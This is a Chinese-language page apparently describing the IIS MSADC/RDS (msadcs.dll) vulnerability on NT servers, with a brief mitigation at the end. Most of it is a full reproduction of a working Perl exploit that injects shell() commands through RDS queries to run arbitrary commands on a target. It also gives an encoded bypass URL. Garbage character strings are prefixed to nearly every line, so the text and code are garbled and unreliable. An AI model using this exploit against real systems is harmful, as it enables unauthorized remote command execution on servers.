IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
^uC"df H 4Y`! bT` 涉及程序：
P\,F1N_?r Microsoft NT server
v$[ @]` ooomi"u 描述：
|VTWw<{LX 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
V/`# B$6 l{nB.m2 详细：
)\um "l*\c 如果你没有时间读详细内容的话，就删除:
=]!8:I?C< c:\Program Files\Common Files\System\Msadc\msadcs.dll
,D:iQDG^ 有关的安全问题就没有了。
$/NGNkl[ C ]yvK} 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
o~Bk0V= zA2UFax= 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
01&*`0? 关于利用ODBC远程漏洞的描述，请参看:
iSOD&J_ UVc>i9,0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm PZKbnu [Xs}FJ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
W H{cJ7wCL http://www.microsoft.com/security/bulletins/MS99-025faq.asp \#uqD\DE +F1]M2p] 这里不再论述。
CbnR<W-j 5JQd)[Im 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
`K$:r4/[ )3k)2X F /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
FI3sLA 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
'
%bj9{(0 lf?Z{^ {[l'S #将下面这段保存为txt文件，然后: "perl -x 文件名"
F;cI0kP=> F(T=WR].o #!perl
zd?bHcW/h #
$~
pr+Ei # MSADC/RDS 'usage' (aka exploit) script
`Mo~EHso. #
r0~ 7v1rG # by rain.forest.puppy
2Som0T<2 #
B=X nv*e # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
zi?qK?m # beta test and find errors!
/IGrp.} A>q d2 use Socket; use Getopt::Std;
1gF*Mf_7 getopts("e:vd:h:XR", \%args);
V_NjkyI 3c1o,2 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^JYF1 {. s ]\ C if (!defined $args{h} && !defined $args{R}) {
,2=UuW"K print qq~
2N6Pa(6 Usage: msadc.pl -h <host> { -d <delay> -X -v }
d/0/$Bz}P -h <host> = host you want to scan (ip or domain)
0!3!?E < -d <seconds> = delay between calls, default 1 second
-=-x>(pRW7 -X = dump Index Server path table, if available
`77;MGg* -v = verbose
2jI4V;H 8g -e = external dictionary file for step 5
27h/6i3 ;cS~d(% Or a -R will resume a command session
Z& ~k]R0y J,dG4. ht ~; exit;}
"2y7&#l |Y G)NO $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
rXHHD#\oF if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
X+(aQ
>y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
S&4w`hdD>~ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
GQYtH#
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
kw*Cr/ '* if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
'^P* F9 LM'*OtpDG if (!defined $args{R}){ $ret = &has_msadc;
$ 5 q{vy die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
? X8K$g lB5 [#z print "Please type the NT commandline you want to run (cmd /c assumed):\n"
% xH>0 . "cmd /c ";
+1JZB* W $in=<STDIN>; chomp $in;
=$:4v`W0( $command="cmd /c " . $in ;
Y\\3g_YBF n:}MULy; if (defined $args{R}) {&load; exit;}
\K4 CbZ,. IkE'_F print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ve64-D &try_btcustmr;
PuUon6bZ D7Rbho < print "\nStep 2: Trying to make our own DSN...";
a$ +e8> &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
a9mr-`< T }8r;<P6 print "\nStep 3: Trying known DSNs...";
h0y\,iWXb &known_dsn;
S`'uUvAA Ggxrj'r print "\nStep 4: Trying known .mdbs...";
%8z+R m,Ot &known_mdb;
37ri b KweHY, if (defined $args{e}){
ek+8hnkh print "\nStep 5: Trying dictionary of DSN names...";
~' PS| &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
K> DnD 0 z=8_%r print "Sorry Charley...maybe next time?\n";
X*p :&=o exit;
I?:+~q}lZr % (O^as ##############################################################################
K 4VPmk G Is,*qrl : sub sendraw { # ripped and modded from whisker
RY'\mt"W2 sleep($delay); # it's a DoS on the server! At least on mine...
<O`q3u'l my ($pstr)=@_;
'%JM nU socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
RmCn&-i die("Socket problems\n");
5. +$v 4 if(connect(S,pack "SnA4x8",2,80,$target)){
+Fkx") select(S); $|=1;
OFPd6,(E print $pstr; my @in=<S>;
x. yb4i=Jq select(STDOUT); close(S);
`rOe5Zp$ return @in;
;M(ehX
} else { die("Can't connect...\n"); }}
$F
/p8AraK Y
GcY2p< ##############################################################################
! 513rNO tM?I()Y&P sub make_header { # make the HTTP request
FdK R{dX} my $msadc=<<EOT
:,J86#S) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
|L~g NC User-Agent: ACTIVEDATA
e[py J. Host: $ip
5qODS_Eq Content-Length: $clen
n(F< Connection: Keep-Alive
|' l* $ D?&w:C\&@z ADCClientVersion:01.06
:h](;W> H Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
T l0+Bq ]cO$ E=W --!ADM!ROX!YOUR!WORLD!
-7A!2mRiz Content-Type: application/x-varg
A`r$fCt1Vi Content-Length: $reqlen
iM-hWhU [wpt[zG EOT
, K"2tb ; $msadc=~s/\n/\r\n/g;
S)AE return $msadc;}
eJw ii
^Qb!k/$3y ##############################################################################
*rMN,B@ qz_TcU' sub make_req { # make the RDS request
Y;F,GxR} my ($switch, $p1, $p2)=@_;
_o=`-iy9 my $req=""; my $t1, $t2, $query, $dsn;
\2LA%ZU 9#=IrlV 4 if ($switch==1){ # this is the btcustmr.mdb query
!AD, $query="Select * from Customers where City=" . make_shell();
x:D<Mu# $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
`&&6-/ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
^
8Nr %NJ k3htHCf*G$ elsif ($switch==2){ # this is general make table query
HpgN$$\@ $query="create table AZZ (B int, C varchar(10))";
! C) > $dsn="$p1";}
Yhv`IV-s !nD[hI8P elsif ($switch==3){ # this is general exploit table query
Z#E#P<&d $query="select * from AZZ where C=" . make_shell();
TlZlE^EE< $dsn="$p1";}
>!ZyykAs {1 0+(Vl elsif ($switch==4){ # attempt to hork file info from index server
Y&!McM!Jw $query="select path from scope()";
P) o[p( $dsn="Provider=MSIDXS;";}
~TmHnAz W9V= hQ2 elsif ($switch==5){ # bad query
jzOMjz~:) $query="select";
*~aI>7H $dsn="$p1";}
CI ]U)@\U AXv3jH,HF $t1= make_unicode($query);
qcoZ2VJ hh $t2= make_unicode($dsn);
oeqJ?1=! $req = "\x02\x00\x03\x00";
w})&[d $req.= "\x08\x00" . pack ("S1", length($t1));
W SeRV?+T $req.= "\x00\x00" . $t1 ;
$F'~^2 $req.= "\x08\x00" . pack ("S1", length($t2));
cH8H)55F $req.= "\x00\x00" . $t2 ;
# J T%]! $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
UqQZ
A0e return $req;}
(h(ZL9! q|Tk+JH{5 ##############################################################################
Tb UkqABm S>zKD sub make_shell { # this makes the shell() statement
OsuSx^} return "'|shell(\"$command\")|'";}
B 0fo[Ev ^ZZ@!Udy ##############################################################################
C3`.-/{D" K`mxb} sub make_unicode { # quick little function to convert to unicode
!"qEB2r my ($in)=@_; my $out;
gM/_:+bT>P for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
BqJrL/( return $out;}
7JK 'vT !c;p4 B) ##############################################################################
{>qrf: K^p"Z$$ sub rdo_success { # checks for RDO return success (this is kludge)
!i lDR< my (@in) = @_; my $base=content_start(@in);
\$++.%0 if($in[$base]=~/multipart\/mixed/){
sg~/RSJ3 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
:<|fZa4!" return 0;}
Kof-;T cN(QTbyl6Q ##############################################################################
)9 P 91'^--N sub make_dsn { # this makes a DSN for us
zCN;LpbEJY my @drives=("c","d","e","f");
!{- 3:N7 print "\nMaking DSN: ";
(#>5j7i8# foreach $drive (@drives) {
.6]cu{K( print "$drive: ";
R~ u7;Wv my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
:=KGQ3V~eK "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
ry=[:\Z~ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
[+2^n7R $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
]5MR p7 return 0 if $2 eq "404"; # not found/doesn't exist
fN/KXdAy& if($2 eq "200") {
O4+w2 '., foreach $line (@results) {
R(# ;yn return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
|6G5
?| } return 0;}
0R{R=r] 2+rao2
##############################################################################
"alO"x8t VY26 Cf"
sub verify_exists {
#k]0[;1os my ($page)=@_;
A.*nDl`H my @results=sendraw("GET $page HTTP/1.0\n\n");
Hqy>!1 ! return $results[0];}
EG=>F1&M 8TM=AV ##############################################################################
SVeU7Q6- ^,r;/c9A8 sub try_btcustmr {
w4/)r-Z4I my @drives=("c","d","e","f");
R3 =E?us! my @dirs=("winnt","winnt35","winnt351","win","windows");
%Y[/Ucdm )bJ6{& foreach $dir (@dirs) {
Fgq*3t print "$dir -> "; # fun status so you can see progress
$e,!fB;B foreach $drive (@drives) {
jWjK -q@Y print "$drive: "; # ditto
}|,\ ?7, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
\YyU5f7'; $reqlenlen=length( "$reqlen" );
%=>xzP(z $clen= 206 + $reqlenlen + $reqlen;
U-:Z ^+Y ] nGA1 S{ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
@k ;3$ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
DxG'/5jQ[ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{:+^[rer j U/l ra&P ##############################################################################
Y'":OW#oN v2<gkCK^ sub odbc_error {
IWd*"\L my (@in)=@_; my $base;
^OsUWhkV my $base = content_start(@in);
M0\[hps~X if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
BuO J0$ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^ @cX0_ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5q*~h4=r7 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
N>iCb:_
T; return $in[$base+4].$in[$base+5].$in[$base+6];}
|#,W3Ik(l print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
)W#g@V)> print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
p 5w g+K $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Vi~+C@96 D*b|(Oi ##############################################################################
Y& %0 eI! UYLI>XSd sub verbose {
EnAw8Gm* my ($in)=@_;
qWK7K%-$ E return if !$verbose;
a];i4lt(c print STDOUT "\n$in\n";}
,RH986,6V O\{_)L ##############################################################################
zL}DL fy>R k !r z8S" sub save {
"lAS
<dq my ($p1, $p2, $p3, $p4)=@_;
\Fjq|3`<l open(OUT, ">rds.save") || print "Problem saving parameters...\n";
NV ~i4R*# print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
LLN^^> 5|l close OUT;}
msJn;(Pn N_}Im>;! ##############################################################################
!I$RE?7eY Sv",E@!f sub load {
w N.Jy b my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ee| y[ y, open(IN,"<rds.save") || die("Couldn't open rds.save\n");
$^GnY7$!> @p=<IN>; close(IN);
8`<GplO $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
:RG6 g vz $target= inet_aton($ip) || die("inet_aton problems");
p8bTR!rvz print "Resuming to $ip ...";
TR7TF]i tb $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
A>S2BL#= if($p[1]==1) {
G9%4d;uFT $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
fQ ) ;+ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
zh#uwT1u my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
)]Rr:i9n if (rdo_success(@results)){print "Success!\n";}
I<f M8t.Y> else { print "failed\n"; verbose(odbc_error(@results));}}
&Kwt vUN{ elsif ($p[1]==3){
e pe}^Pl if(run_query("$p[3]")){
Q4 S8NqE print "Success!\n";} else { print "failed\n"; }}
JE!Xf}nEi elsif ($p[1]==4){
~<-h# B if(run_query($drvst . "$p[3]")){
an@Ue7 print "Success!\n"; } else { print "failed\n"; }}
4 \iQ%fb exit;}
\|s/_35( :a`m9s 4 ##############################################################################
`UPmr50Wq ; # sub create_table {
eZo%q,L my ($in)=@_;
ObnB6ShKi $reqlen=length( make_req(2,$in,"") ) - 28;
)HcC\[ $reqlenlen=length( "$reqlen" );
b9jm= U $clen= 206 + $reqlenlen + $reqlen;
w?"l4.E% my @results=sendraw(make_header() . make_req(2,$in,""));
->UrWW^ return 1 if rdo_success(@results);
&-tf/qJ my $temp= odbc_error(@results); verbose($temp);
zc 5_;!t return 1 if $temp=~/Table 'AZZ' already exists/;
^\;5O(9 return 0;}
UNHHzTsr? tc Z~T ##############################################################################
ggW fk NmXTk+,L# sub known_dsn {
oyY,uB.| # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
3._fb AN%e my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
0SYkDI "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
C7:Ry)8'I "banner", "banners", "ads", "ADCDemo", "ADCTest");
j/\XeG > =<icHt6s foreach $dSn (@dsns) {
Mf"B!WU>]B print ".";
stScz#! next if (!is_access("DSN=$dSn"));
(w fZ ! if(create_table("DSN=$dSn")){
=X B)sC% print "$dSn successful\n";
ce\- oT if(run_query("DSN=$dSn")){
bv0 %{u& print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
I
Cs 1= print "Something's borked. Use verbose next time\n";}}} print "\n";}
wXnt3)e ^W*/!q7H ##############################################################################
J!>oC_0]8 !h~\YE) sub is_access {
VdgPb ( my ($in)=@_;
7BnP,Nd"W $reqlen=length( make_req(5,$in,"") ) - 28;
P^ VNB $reqlenlen=length( "$reqlen" );
u ""= 9>0 $clen= 206 + $reqlenlen + $reqlen;
QO%K`}Q} my @results=sendraw(make_header() . make_req(5,$in,""));
Uw!v=n3#! my $temp= odbc_error(@results);
WF7RMQ51j verbose($temp); return 1 if ($temp=~/Microsoft Access/);
8j k*N return 0;}
J \BdC]; |i I`p-L9 ##############################################################################
_!ed.h.r: 82<!b]^1 sub run_query {
pY@+.V`a my ($in)=@_;
hb{(r@[WHv $reqlen=length( make_req(3,$in,"") ) - 28;
bB["Qd}Q $reqlenlen=length( "$reqlen" );
@2<J_Ja $clen= 206 + $reqlenlen + $reqlen;
"Y+` U my @results=sendraw(make_header() . make_req(3,$in,""));
YDwn s return 1 if rdo_success(@results);
+gkB my $temp= odbc_error(@results); verbose($temp);
g`1i[ Iu2 return 0;}
B(5g&+{Lq~ h2nyP ##############################################################################
xN ]bRr YH9BJ sub known_mdb {
KK}&4^q my @drives=("c","d","e","f","g");
(46)v'? my @dirs=("winnt","winnt35","winnt351","win","windows");
bPEAG=l "- my $dir, $drive, $mdb;
p#w,+)1!d my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
C /JFg-r 7pNh| #Uv' # this is sparse, because I don't know of many
C*$/J\6xy my @sysmdbs=( "\\catroot\\icatalog.mdb",
G[mYx[BTz "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
6=FuH@Q& "\\system32\\certmdb.mdb",
G(-
`FH "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
wFD .3! 0; 9 LIL5 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
sq%f%?(V "\\cfusion\\cfapps\\forums\\forums_.mdb",
0IZV4{ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
sgX~4W"J "\\cfusion\\cfapps\\security\\realm_.mdb",
K(?7E6\vO "\\cfusion\\cfapps\\security\\data\\realm.mdb",
20q T1!j u "\\cfusion\\database\\cfexamples.mdb",
PSE![whK "\\cfusion\\database\\cfsnippets.mdb",
7?4>' "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
f"Z2& Y@ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
k`d "\\cfusion\\brighttiger\\database\\cleam.mdb",
Wd7*sa3T "\\cfusion\\database\\smpolicy.mdb",
)-mB^7uXGv "\\cfusion\\database\cypress.mdb",
8dv1#F| "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
1/ a,7Hl "\\website\\cgi-win\\dbsample.mdb",
mEGMe@37 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
.*Z]0~ &| "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
. IqS}Rh ); #these are just
A 6d+RAx foreach $drive (@drives) {
*\/ U T foreach $dir (@dirs){
B?]^}r foreach $mdb (@sysmdbs) {
`?)i/jko" print ".";
1DX=\BWp if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
TS;MGi 0`} print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
<MYD`,$yu if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
h (9K7 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
?^hC|IR$ } else { print "Something's borked. Use verbose next time\n"; }}}}}
;tHF$1!J tP\Utl-0 foreach $drive (@drives) {
5o,82 Kti foreach $mdb (@mdbs) {
r`=d4dK- print ".";
mVxS[Gq if(create_table($drv . $drive . $dir . $mdb)){
)9*WmF c+# print "\n" . $drive . $dir . $mdb . " successful\n";
*]L M2J if(run_query($drv . $drive . $dir . $mdb)){
NH{0KZ
R print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
uJ[dO} } else { print "Something's borked. Use verbose next time\n"; }}}}
\Tc$P# }
?h { & ;RR)C@n1 ##############################################################################
8WAg{lVs M*x_1h5n sub hork_idx {
'F@'4[uda print "\nAttempting to dump Index Server tables...\n";
Mqq7;w@(J print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
O lP#|x* $reqlen=length( make_req(4,"","") ) - 28;
}}
IvZG& $reqlenlen=length( "$reqlen" );
Nz m
7 E] $clen= 206 + $reqlenlen + $reqlen;
mGIS[_dcs my @results=sendraw2(make_header() . make_req(4,"",""));
G B15 if (rdo_success(@results)){
j9Lc2' my $max=@results; my $c; my %d;
`18G
5R for($c=19; $c<$max; $c++){
/h_BF\VBs $results[$c]=~s/\x00//g;
n@*NQ`(_ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
[P^ .=F $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
aJub( " $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
xHf
l>C' $d{"$1$2"}="";}
noacnQ_I$ foreach $c (keys %d){ print "$c\n"; }
Yc Ik{_N3 } else {print "Index server doesn't seem to be installed.\n"; }}
/t816,i t ({:TQ ##############################################################################
nF)|oA v8LKv`I's sub dsn_dict {
)0NA*<Q+. open(IN, "<$args{e}") || die("Can't open external dictionary\n");
us/x.qPy2 while(<IN>){
n04Zji(F@ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
7y:J@fh< next if (!is_access("DSN=$dSn"));
5[0n'uH if(create_table("DSN=$dSn")){
w L:3RZB print "$dSn successful\n";
8^O|Aa$IF: if(run_query("DSN=$dSn")){
4Y Kb~1qkk print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
YY hRdU/g print "Something's borked. Use verbose next time\n";}}}
GSypdEBj+w print "\n"; close(IN);}
$Q62
7 [ z?<'Tj ##############################################################################
o0AREZ+I r t f}4. sub sendraw2 { # ripped and modded from whisker
291v
R] sleep($delay); # it's a DoS on the server! At least on mine...
<jxTI%'f59 my ($pstr)=@_;
Up8#Nz
T socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
NKR NEq! die("Socket problems\n");
LdA&F&
pI if(connect(S,pack "SnA4x8",2,80,$target)){
vrH/Z.WD print "Connected. Getting data";
:Vv= p*~ open(OUT,">raw.out"); my @in;
7dAa~!/( select(S); $|=1; print $pstr;
4 /$]wK` while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
9= :!XkT. close(OUT); select(STDOUT); close(S); return @in;
5=l Ava# } else { die("Can't connect...\n"); }}
oM J5; g,\<fY+ 4 ##############################################################################
m,'u_yK Z x3m$.8 sub content_start { # this will take in the server headers
w!h !%r my (@in)=@_; my $c;
[ $B for ($c=1;$c<500;$c++) {
SFTThM]8M1 if($in[$c] =~/^\x0d\x0a/){
HuG|BjP if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
H$Q_K<V else { return $c+1; }}}
!uHX2 B+~ return -1;} # it should never get here actually
&Jq ?tnNd oveW )~4 ##############################################################################
7GpSW M6 8hdd1lVKO8 sub funky {
\T>f+0=4 my (@in)=@_; my $error=odbc_error(@in);
:h" Y >1P if($error=~/ADO could not find the specified provider/){
`*N2x\+X print "\nServer returned an ADO miscofiguration message\nAborting.\n";
lr=*Ty(V exit;}
ZfS-W&6Z if($error=~/A Handler is required/){
zcDVvP print "\nServer has custom handler filters (they most likely are patched)\n";
_ u/N#*D exit;}
!RAyUfS if($error=~/specified Handler has denied Access/){
O]`CSTv'_ print "\nServer has custom handler filters (they most likely are patched)\n";
{l! [{ exit;}}
dnH?@ K H+ t^eg88 ##############################################################################
S&FMFXF@ !'MZeiL P sub has_msadc {
nx8 4l 7< my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Za5*HCo my $base=content_start(@results);
L=?Yc*vg return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
.(`#q@73 return 0;}
NJwcb=* [.;VCk)0x ########################
[{L4~(uU8 zN0^FXGD ?tSFM: 9PU 解决方案：
Sm{idky)[ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
fU8 &fo%ER 2、移除web 目录: /msadc
